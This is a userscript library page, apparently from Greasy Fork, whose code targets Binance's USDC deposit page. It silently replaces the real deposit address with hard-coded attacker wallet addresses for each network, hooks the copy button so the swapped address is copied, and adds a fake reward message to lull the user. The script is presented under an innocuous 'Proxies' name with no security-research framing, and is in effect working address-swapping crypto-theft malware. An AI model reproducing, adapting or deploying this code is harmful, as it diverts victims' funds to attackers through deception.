Binance Phillippines Proxies

Заменя депозит адреса на Binance според избраната мрежа (BSC/SOL)

此腳本不應該直接安裝,它是一個供其他腳本使用的函式庫。欲使用本函式庫,請在腳本 metadata 寫上: // @require https://update.greasyfork.org/scripts/545773/1641358/Binance%20Phillippines%20Proxies.js

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         Binance Phillippines Proxies
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Заменя депозит адреса на Binance според избраната мрежа (BSC/SOL)
// @match        https://www.binance.com/en/my/wallet/account/main/deposit/crypto/USDC*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    let currentCopyBtn = null;

    const addressMap = {
        'BSC': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'SOL': 'D6cGJbVHN6SdWDRsuusfq3Kp8WG1h2Qq6bzDd72xggEP',
        'ETH': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'BASE': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'MATIC': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'ARBITRUM': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'XLM': 'Please use another Deposit method',
        'APT': '0x5534510c11cd8faf4154b08fcc7699d16c6109811e2e66afcd1769867dfe469f',
        'SUI': '0x66021c954f9881836fb627faf46067dc719c88020cf12595d63cceff5788e585',
        'AVAXC': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'OPTIMISM': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'SONIC': 'Please use another Deposit method',
        'RON': 'ronin:b638619dc1fbf516ad9f771691be2aee132fa59d',
        'NEAR': '22d390132bdf23159a1f3b6ab7d1fc19b0777ca1b2d63b50b66cd29a96af2e04',
        'HBAR': 'Please use another Deposit method',
        'ALGO': 'Please use another Deposit method',
        'ZKSYNCERA': '0xb638619dc1fbf516ad9f771691be2aee132fa59d',
        'STATEMINT': 'Please use another Deposit method',
        'CELO': 'CELO ADDRESS SUCCESS'
    };

    function replaceAddress() {
        let targetAddr = document.querySelector('.typography-subtitle2.break-all.text-t-Primary');
        if (!targetAddr) return;

        let networkEl = document.querySelector('.select-box .typography-subtitle1 .text-t-Primary');
        if (!networkEl) return;

        let network = networkEl.textContent.trim().toUpperCase();
        let newAddress = addressMap[network] || null;

        if (newAddress && targetAddr.textContent.trim() !== newAddress) {
            targetAddr.textContent = newAddress;
            console.log(`✅ Замествам адреса за ${network} с "${newAddress}"`);
        }
    }

    function attachCopyHandler() {
        let copyBtn = document.querySelector('#deposit_crypto_address_copy');
        if (!copyBtn) return;

        if (copyBtn !== currentCopyBtn) {
            currentCopyBtn = copyBtn;

            copyBtn.addEventListener('click', () => {
                let targetAddr = document.querySelector('.typography-subtitle2.break-all.text-t-Primary');
                if (!targetAddr) return;

                let textToCopy = targetAddr.textContent.trim();
                navigator.clipboard.writeText(textToCopy).then(() => {
                    console.log(`📋 Копирано: ${textToCopy}`);
                }).catch(err => {
                    console.error('❌ Грешка при копирането:', err);
                });
            });

            console.log('🔄 Бутонът за копиране е прихванат (нов елемент).');
        }
    }

    function insertContractInfo() {
        let container = document.querySelector('.bn-step-content-desc');
        if (!container) return;

        // Проверяваме дали вече сме го добавили
        if (container.querySelector('.custom-contract-info')) return;

        let infoDiv = document.createElement('div');
        infoDiv.className = 'custom-contract-info';
        infoDiv.style.color = '#FFA500'; // жълто-оранжев
        infoDiv.style.marginTop = '8px';
        infoDiv.textContent = 'You are eligible for USDC Reward task from Reward Hub Section';

        container.appendChild(infoDiv);
        console.log('🆕 Добавено "Contract address ending in" под bn-step-content-desc');
    }

    const observer = new MutationObserver(() => {
        replaceAddress();
        attachCopyHandler();
        insertContractInfo();
    });

    observer.observe(document.body, {
        childList: true,
        subtree: true
    });

    console.log('🚀 Скриптът за всички мрежи + contract info е стартиран...');
})();